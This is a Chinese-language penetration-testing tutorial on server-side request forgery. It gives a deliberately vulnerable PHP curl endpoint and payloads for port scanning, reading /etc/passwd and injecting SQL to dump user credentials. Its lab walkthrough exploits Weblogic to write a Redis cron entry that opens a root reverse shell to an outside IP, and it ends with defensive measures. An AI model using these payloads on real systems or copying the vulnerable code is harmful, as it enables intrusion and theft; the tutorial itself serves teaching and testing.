服务端请求伪造(SSRF)

文章目录

  • 渗透测试漏洞原理
  • 服务端请求伪造
    • 1. SSRF 概述
      • 1.1 SSRF 场景
        • 1.1.1 PHP 实现
      • 1.2 SSRF 原理
      • 1.3 SSRF 危害
    • 2. SSRF 攻防
      • 2.1 SSRF 利用
        • 2.1.1 文件访问
        • 2.1.2 端口扫描
        • 2.1.3 读取本地文件
        • 2.1.4 内网应用指纹识别
        • 2.1.5 攻击内网Web应用
      • 2.2 SSRF 经典案例
        • 2.2.1 访问页面
        • 2.2.2 漏洞测试
        • 2.2.3 注入HTTP头,利用Redis反弹shell
      • 2.3 SSRF 防御
        • 2.3.1 过滤输入
        • 2.3.2 过滤输出
        • 2.3.3 内部网络隔离
        • 2.3.4 授权验证和访问控制
        • 2.3.5 安全编码实践
    • 3. SSRF 挖掘

渗透测试漏洞原理

服务端请求伪造

服务端请求伪造(SSRF)_第1张图片

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

1.1.1 PHP 实现

利用curl实现,需要PHP扩展组件curl支持

该实验需要开启curl

服务端请求伪造(SSRF)_第2张图片


    if(isset($_REQUEST['url'])){
        $link = $_REQUEST['url'];
        $fileName = './curled/'.time().".txt";		# 在curled目录下新建一个文件,将请求到的内容放到该文件中。
        $curlObj = curl_init($link);		# 初始化
        $fp = fopen($fileName,'w');

        curl_setopt($curlObj,CURLOPT_FILE,$fp);
        curl_setopt($curlObj,CURLOPT_HEADER,0);
        curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

        curl_exec($curlObj);
        curl_close($curlObj);
        fclose($fp);

        if(getimagesize($fileName)){
            header("Content-Type:image/png");
        }

        $fp = fopen($fileName,'r');
        $result = fread($fp,filesize($fileName));
        fclose($fp);
        echo $result;
    }else{
        echo "?url=[url]";
    }
?>

在phpstudy的www目录下创建一个ssrf,然后在ssrf中创建一个curled目录。

服务端请求伪造(SSRF)_第3张图片

在网上复制一个图片的链接https://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

浏览器中输入

http://127.0.0.1/ssrf/ssrf_curl.php?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

页面效果如下:

服务端请求伪造(SSRF)_第4张图片

整个实验的流程:ssrf_curl.php文件会接受来着客户端的URL地址,然后服务器收到URL地址后,根据这个URL地址发起请求,把请求到的图片保存下来。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

1.3 SSRF 危害

漏洞危害:

  • 内部资产暴露:攻击者可以通过伪造的请求访问内部资源,包括数据库、文件系统、配置文件、读取本地文件等。
  • 敏感信息泄露:攻击者可以利用该漏洞获取敏感信息,例如访问受限 API、执行未经授权的操作等。
  • 进行攻击:攻击者可以通过伪造的请求向其他系统发起攻击,例如内网端口扫描、攻击内网应用、内网Web应用指纹识别、利用其他漏洞等。

2. SSRF 攻防

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

例如:

服务端请求伪造(SSRF)_第5张图片

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306 
?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

服务端请求伪造(SSRF)_第6张图片

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php

服务端请求伪造(SSRF)_第7张图片

还可以读取ssrf_curl.php文件。

服务端请求伪造(SSRF)_第8张图片

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

 
    #Order allow,deny
	Order deny,allow 
    deny from all			# 拒绝所有
	allow from 127.0.0.1	# 只允许本机


修改httpd_config配置文件。

服务端请求伪造(SSRF)_第9张图片

配置完后在内网中可以访问到phpMyAdmin

服务端请求伪造(SSRF)_第10张图片

如果是外部访问的话,是无法访问到的。

服务端请求伪造(SSRF)_第11张图片

内网应用指纹识别。可以看到phpmyadmin版本

?url=http://127.0.0.1/phpmyadmin/readme

2.1.5 攻击内网Web应用

内网安全通常都很薄弱。


	#Order allow,deny 
	Order deny,allow 
	deny from all
	allow from 127.0.0.1


通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_ users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users

实验

服务端请求伪造(SSRF)_第12张图片

该页面存在SQL注入漏洞。尝试进行注入

服务端请求伪造(SSRF)_第13张图片

说明:如果直接注入的话页面是没有反应的,因为这里的参数如id,联合查询等,应该给show.php,而现在是传递给了ssrf_curl.php。

解决方式:用注释来替换掉空格

服务端请求伪造(SSRF)_第14张图片

2.2 SSRF 经典案例

链接地址:Weblogic SSRF 到GetShell。

启动docker环境

服务端请求伪造(SSRF)_第15张图片

2.2.1 访问页面

发现404错误

服务端请求伪造(SSRF)_第16张图片

这里访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

服务端请求伪造(SSRF)_第17张图片

访问指定页面,使用bp抓取数据包,点击Search。

服务端请求伪造(SSRF)_第18张图片

找到指定的数据包信息

服务端请求伪造(SSRF)_第19张图片

右键发送到重发器查看,发现页面报错

服务端请求伪造(SSRF)_第20张图片

使用DNSLog,探测该页面是否存在SSRF漏洞。

服务端请求伪造(SSRF)_第21张图片

bp中修改数据包

服务端请求伪造(SSRF)_第22张图片

查看DNSLog解析结果

服务端请求伪造(SSRF)_第23张图片

解析成功,说明该处存在SSRF漏洞。

2.2.2 漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT,如http://127.0.0.1:80

服务端请求伪造(SSRF)_第24张图片

可访问的80端口发生错误。

访问非http协议,则会返回did not have a valid SOAP content-type

服务端请求伪造(SSRF)_第25张图片

修改为一个不存在的端口,将会返回could not connect over HTTP to server

服务端请求伪造(SSRF)_第26张图片

通过错误的不同,即可探测内网状态。

通过SSRF漏洞探测到内网中的Redis服务器(docker环境的网段一般是172.*)这里我检测到了172.20.0.2该IP存活。探索该IP有哪些端口处于开放状态,这里探测到了Redis的6379端口开放。

服务端请求伪造(SSRF)_第27张图片

对于Redis数据库有未授权访问的漏洞,利用方式如下:

  • 数据库内容泄露
  • 利用Redis数据库读写文件
    • 编写Webshell,编写计划任务,写ssh公钥
  • RCE漏洞

因为读取数据是看不到服务器响应的,属于无回显状态。所以这里采用写数据的方式,写Webshell的前提是对方需要开启Web服务,而上面测试的时候80端口是未开放的。写ssh公钥的前提是需要对方开启SSH服务。最终采用编写计划任务的方式。

2.2.3 注入HTTP头,利用Redis反弹shell

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.188.185/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

Redis数据库命令是通过http协议进行提交的所以需要进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意:换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/wuhu%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Awuhu HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

kali中监听21端口

服务端请求伪造(SSRF)_第28张图片

修改bp中的数据包信息

服务端请求伪造(SSRF)_第29张图片

点击发送数据包。

反弹成功

服务端请求伪造(SSRF)_第30张图片

查看当前权限为root。

服务端请求伪造(SSRF)_第31张图片

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

2.3 SSRF 防御

2.3.1 过滤输入

  • 限制协议,仅允许 http 或 https 协议。

  • 限制IP,避免应用被用来获取内网数据,攻击内网。

  • 限制端口,限制请求端口为常用端口。

2.3.2 过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤。

  • 统一错误信息,让攻击无法对内网信息进行判断。

2.3.3 内部网络隔离

将服务器与内部资源隔离开,并使用防火墙等措施限制对内部网络的访问。

2.3.4 授权验证和访问控制

实施严格的授权验证和访问控制机制,确保仅授权用户可以访问受限资源。

2.3.5 安全编码实践

开发人员应遵循安全编码指南,进行输入验证和输出编码,以减少漏洞发生的可能性。

3. SSRF 挖掘

Web功能 URL关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

你可能感兴趣的:(网络安全,安全,网络,系统安全)